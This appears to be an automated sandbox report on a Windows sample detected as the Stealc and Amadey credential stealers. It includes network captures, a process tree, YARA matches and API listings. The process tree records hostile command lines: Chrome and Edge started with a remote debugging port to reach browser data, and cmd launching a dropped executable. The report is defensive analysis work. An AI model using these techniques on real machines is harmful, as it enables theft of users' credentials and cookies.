2024-12-08 16:46:05 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:04 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:04 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 123741ec-101e-008d-5b05-4892e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164604Z-r1cf579d778qlpkrhC1EWRpfc800000006g0000000007207 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:05 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:06 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:06 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:06 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 5f90aa43-701e-0097-6403-48b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164606Z-r1cf579d778xq4f9hC1EWRx41g00000005ng000000007y2f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:06 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49883	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:06 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:07 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: a762f06e-601e-0084-7004-486b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164607Z-r1cf579d778t6txphC1EWRsd4400000006d0000000002gfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:07 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:06 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:07 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: c22706de-601e-00ab-7503-4866f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164607Z-r1cf579d7784wpmvhC1EWRk4cn00000005900000000065w1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:07 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:06 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:07 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 22947e51-b01e-0021-7203-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164607Z-r1cf579d778mvsklhC1EWRkavg0000000620000000007d84 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:07 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49884	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-08 16:46:06 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-08 16:46:07 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 08 Dec 2024 16:46:07 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 2d97fd60-e01e-000c-7b06-488e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241208T164607Z-r1cf579d7789trgthC1EWRkkfc00000006f0000000007shs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-08 16:46:07 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Target ID:	0
Start time:	11:45:05
Start date:	08/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xcc0000
File size:	1'808'384 bytes
MD5 hash:	DA3E48A074978CF8A3EEAA8E523A1B35
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2746505709.00000000008D8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2747228238.0000000000CC1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2747228238.0000000000D8C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2746505709.0000000000934000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2179491110.0000000004E40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:45:15
Start date:	08/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:45:16
Start date:	08/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=140 --field-trial-handle=2144,i,16764676859220455128,17652020922788016662,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	11:45:26
Start date:	08/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	11:45:27
Start date:	08/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2400 --field-trial-handle=2220,i,7587504728193492124,3574688987422493380,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	11:45:27
Start date:	08/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	11:45:27
Start date:	08/12/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2108 --field-trial-handle=1980,i,12647095353753981946,6910227817760874048,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	11:46:02
Start date:	08/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\HIDGCFBFBF.exe"
Imagebase:	0x1c0000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	11:46:02
Start date:	08/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	11:46:02
Start date:	08/12/2024
Path:	C:\Users\user\Documents\HIDGCFBFBF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\HIDGCFBFBF.exe"
Imagebase:	0x80000
File size:	3'296'768 bytes
MD5 hash:	41F7104E635F418EC5A33D817B5324D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000011.00000002.2780992921.0000000000081000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	11:46:05
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0xfa0000
File size:	3'296'768 bytes
MD5 hash:	41F7104E635F418EC5A33D817B5324D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000012.00000002.2813539792.0000000000FA1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	11:47:00
Start date:	08/12/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0xfa0000
File size:	3'296'768 bytes
MD5 hash:	41F7104E635F418EC5A33D817B5324D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.3410600377.0000000000FA1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	30.6%
Total number of Nodes:	108
Total number of Limit Nodes:	12

Executed Functions

Function 6C9735A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9FF688,00001000), ref: 6C9735D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9735E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9735FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C97363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C97369F
__aulldiv.LIBCMT ref: 6C9736E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C973773
EnterCriticalSection.KERNEL32(6C9FF688), ref: 6C97377E
LeaveCriticalSection.KERNEL32(6C9FF688), ref: 6C9737BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9737C4
EnterCriticalSection.KERNEL32(6C9FF688), ref: 6C9737CB
LeaveCriticalSection.KERNEL32(6C9FF688), ref: 6C973801
__aulldiv.LIBCMT ref: 6C973883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C973902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C973918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C97394C

Strings

GTC, xrefs: 6C973912
QPC, xrefs: 6C9738FC
GenuntelineI, xrefs: 6C973639
MOZ_TIMESTAMP_MODE, xrefs: 6C9735DB
AuthcAMDenti, xrefs: 6C973946

Memory Dump Source

Source File: 00000000.00000002.2769979134.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2768675564.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2770268184.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2770300560.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2770590433.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 7a8ffbf83bd514519975cd80037cfd8359b0eb2f503791162dfa604506fb0c43
Instruction ID: d0d750ac90ff1056bfa2ca1ce8a314314345509aeaea448e97a0786b2fb90ce2
Opcode Fuzzy Hash: 7a8ffbf83bd514519975cd80037cfd8359b0eb2f503791162dfa604506fb0c43
Instruction Fuzzy Hash: 85B1B2B1B093149BDB18DF38D44465E7BF9BB8A704F24892DE9A9D3750EB30D801CB91

Function 6C98C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C98C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C98C969
GetSystemInfo.KERNEL32(?), ref: 6C98C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C98C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C98C9E2

Memory Dump Source

Source File: 00000000.00000002.2769979134.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2768675564.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2770268184.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2770300560.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2770590433.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 84c5bfda3c6292df1de72dde4d266529e929f3c1f97298657466e5288d804581
Instruction ID: af2cd4140d1f6ca2312aa1d56a49d15fff7420ee7c03c09785c3698cf728fd2d
Opcode Fuzzy Hash: 84c5bfda3c6292df1de72dde4d266529e929f3c1f97298657466e5288d804581
Instruction Fuzzy Hash: F321F932746214ABDB04AE64EC84BAE73B9AF46704F60065AF957A7B40DB71DC04C7A1

Function 6C973060 Relevance: 4.5, APIs: 3, Instructions: 36
